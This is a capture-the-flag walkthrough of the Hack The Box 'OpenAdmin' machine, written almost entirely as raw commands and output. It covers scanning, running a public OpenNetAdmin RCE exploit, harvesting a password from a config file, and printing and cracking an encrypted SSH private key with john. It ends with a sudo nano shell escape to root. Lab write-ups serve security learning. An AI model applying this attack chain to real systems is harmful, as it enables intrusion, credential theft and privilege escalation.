OPENNETADMIN EXPLOIT

NETSTAT

SSH2JOHN

GTFOBINS NANO

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)

| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)

|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Apache2 Ubuntu Default Page: It works

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/hackthebox/openadmin# gobuster dir -u http://openadmin.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt

http://www.openadmin.htb/music

http://openadmin.htb/ona/

root@kali:/home/kali/Desktop/hackthebox/openadmin# searchsploit opennetadmin

---

Exploit Title | Path

OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt

OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb

OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh

---

Shellcodes: No Results

root@kali:/home/kali/Desktop/hackthebox/openadmin# cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .

https://www.exploit-db.com/exploits/47691

root@kali:/home/kali/Desktop/hackthebox/openadmin# bash exploit.sh http://openadmin.htb/ona/login.php

$ grep -r 'passw' ./*

./local/config/database_settings.inc.php:	'db_passwd' => n1nj4W4rri0R!

Ssh jimmy@openadmin.htb

jimmy@openadmin:/var/www/internal$ netstat -tulpn

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN -

tcp6 0 0 :::22 :::* LISTEN -

tcp6 0 0 :::80 :::* LISTEN -

udp 0 0 127.0.0.53:53 0.0.0.0:* -

jimmy@openadmin:/var/www/internal$ ls

index.php logout.php **main.php**

<pre>-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8

ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO

ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SlsZzal9U8f+Txhgq9K2KQHBE

6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ

ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du

y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI

9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4

piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/

/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH

40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ

fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb

9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80

X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg

S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F

FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh

Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa

RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z

uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr

1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2

XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79

yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM

+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt

qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt

z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe

K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN

-----END RSA PRIVATE KEY-----

</pre><html>

<h3>Don't forget your "ninja" password</h3>

Click here to logout <a href="logout.php" tite = "Logout">Session

</html>

root@kali:/home/kali/Desktop/hackthebox/openadmin# /usr/share/john/ssh2john.py id_rsa > id_rsa_johanna

root@kali:/home/kali/Desktop/hackthebox/openadmin# john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_johanna

bloodninjas (id_rsa)

root@kali:/home/kali/Desktop/hackthebox/openadmin# ssh -i id_rsa joanna@openadmin.htb

joanna@openadmin:~$ sudo -l

Matching Defaults entries for joanna on openadmin:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:

(ALL) NOPASSWD: /bin/nano /opt/priv

https://gtfobins.github.io/gtfobins/nano/#sudo

joanna@openadmin:~$ sudo /bin/nano /opt/priv

CTRL+R

CTRL+X

reset; sh 1>&0 2>&0

ROOTED!